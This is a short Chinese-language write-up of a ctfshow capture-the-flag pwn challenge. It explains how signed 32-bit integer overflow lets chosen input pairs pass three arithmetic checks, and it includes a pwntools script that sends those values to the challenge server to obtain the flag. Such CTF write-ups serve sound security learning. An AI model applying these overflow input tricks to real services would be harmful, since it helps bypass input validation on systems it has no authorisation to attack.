[ctfshow]萌新赛 数学99
首先看一下保护措施

然后用ida打开看一下

这里的主体是3个自定义的函数,需要输入a,b的值使其满足条件
第一个

因为输入变量s是有符号数的int型,8-(-1)=9,所以可以输入a=8,b=4294967295 = -1
第二个

我们可以让3*3=9
4294967305=9
4294967305因式分解后为:48145 * 89209
第三个

这里也是一样的逻辑,可以让 a=-2147483648,b=-1
然后满足第三个函数的条件是会调用一个函数,直接获得flag

点击查看代码
from pwn import *
io=remote('pwn.challenge.ctf.show',28237)
io.sendlineafter("a:",'8')
io.sendlineafter("b:",'4294967295')
io.sendlineafter("a:",'48145')
io.sendlineafter("b:",'89209')
io.sendlineafter("a:",'-2147483648')
io.sendlineafter("b:",'-1')
io.interactive()

浙公网安备 33010602011771号